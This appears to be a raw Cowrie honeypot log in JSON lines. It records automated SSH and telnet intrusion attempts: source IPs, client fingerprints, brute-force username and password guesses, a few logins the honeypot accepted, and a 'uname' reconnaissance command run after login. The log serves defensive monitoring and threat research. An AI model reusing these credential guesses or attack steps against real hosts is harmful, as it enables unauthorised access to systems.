{"eventid":"cowrie.login.failed","username":"root","password":"alexis","message":"login attempt [root/alexis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:49.065505Z","src_ip":"38.93.206.2","session":"40af9379930a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:19:50.120275Z","src_ip":"38.93.206.2","session":"40af9379930a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":47204,"dst_ip":"159.203.135.109","dst_port":22,"session":"e030076d72d4","protocol":"ssh","message":"New connection: 193.32.162.151:47204 (159.203.135.109:22) [session: e030076d72d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:36.902483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:36.921144Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.015531Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz@WSX","message":"login attempt [oracle/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.443414Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51276,"dst_ip":"10.17.0.5","dst_port":22,"session":"f817680099dd","protocol":"ssh","message":"New connection: 185.236.22.41:51276 (10.17.0.5:22) [session: f817680099dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.503842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.536654Z","src_ip":"185.236.22.41","session":"f817680099dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.628585Z","src_ip":"185.236.22.41","session":"f817680099dd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.801996Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.806095Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.926171Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:37.933283Z","src_ip":"193.32.162.151","session":"e030076d72d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:38.168121Z","src_ip":"185.236.22.41","session":"f817680099dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:20:39.299318Z","src_ip":"185.236.22.41","session":"f817680099dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.155.71.60","src_port":55960,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24dd2babd03","protocol":"telnet","message":"New connection: 218.155.71.60:55960 (10.17.0.5:23) [session: d24dd2babd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:36.519835Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f159c18cdb","protocol":"telnet","message":"New connection: 213.108.3.46:55972 (159.203.135.109:23) [session: 27f159c18cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:36.622075Z"}
{"eventid":"cowrie.session.closed","duration":0.014160394668579102,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:36.636108Z","src_ip":"213.108.3.46","session":"27f159c18cdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.301951885223389,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:49.821686Z","src_ip":"218.155.71.60","session":"d24dd2babd03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":42634,"dst_ip":"159.203.135.109","dst_port":22,"session":"1253e7fb6d3f","protocol":"ssh","message":"New connection: 87.251.79.125:42634 (159.203.135.109:22) [session: 1253e7fb6d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:54.670525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:54.681179Z","src_ip":"87.251.79.125","session":"1253e7fb6d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:54.752725Z","src_ip":"87.251.79.125","session":"1253e7fb6d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samson","message":"login attempt [root/samson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:54.967472Z","src_ip":"87.251.79.125","session":"1253e7fb6d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:21:56.043356Z","src_ip":"87.251.79.125","session":"1253e7fb6d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":27920,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb5b3e0c51e0","protocol":"ssh","message":"New connection: 194.59.206.2:27920 (159.203.135.109:22) [session: cb5b3e0c51e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:16.769712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:16.775016Z","src_ip":"194.59.206.2","session":"cb5b3e0c51e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:16.861440Z","src_ip":"194.59.206.2","session":"cb5b3e0c51e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:16.953457Z","src_ip":"194.59.206.2","session":"cb5b3e0c51e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59368,"dst_ip":"159.203.135.109","dst_port":22,"session":"4412da7d428c","protocol":"ssh","message":"New connection: 103.27.238.114:59368 (159.203.135.109:22) [session: 4412da7d428c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:42.258939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:42.263878Z","src_ip":"103.27.238.114","session":"4412da7d428c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:42.534874Z","src_ip":"103.27.238.114","session":"4412da7d428c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"135246","message":"login attempt [root/135246] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:43.335764Z","src_ip":"103.27.238.114","session":"4412da7d428c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:44.605815Z","src_ip":"103.27.238.114","session":"4412da7d428c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38176,"dst_ip":"159.203.135.109","dst_port":22,"session":"126dcf5e3a23","protocol":"ssh","message":"New connection: 193.32.162.151:38176 (159.203.135.109:22) [session: 126dcf5e3a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:46.671093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:46.675599Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:46.779528Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"p@ssw0rd","message":"login attempt [oracle/p@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:47.101654Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:47.351423Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:47.354907Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:47.463990Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:22:47.469904Z","src_ip":"193.32.162.151","session":"126dcf5e3a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb773bdae92","protocol":"ssh","message":"New connection: 152.42.212.128:57490 (10.17.0.5:22) [session: 0fb773bdae92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:04.401947Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:04.406564Z","src_ip":"152.42.212.128","session":"0fb773bdae92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:04.409502Z","src_ip":"152.42.212.128","session":"0fb773bdae92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":54932,"dst_ip":"159.203.135.109","dst_port":22,"session":"67256a8511af","protocol":"ssh","message":"New connection: 62.133.63.178:54932 (159.203.135.109:22) [session: 67256a8511af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:10.319087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:10.323865Z","src_ip":"62.133.63.178","session":"67256a8511af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:23:10.450302Z","src_ip":"62.133.63.178","session":"67256a8511af","protocol":"ssh"}
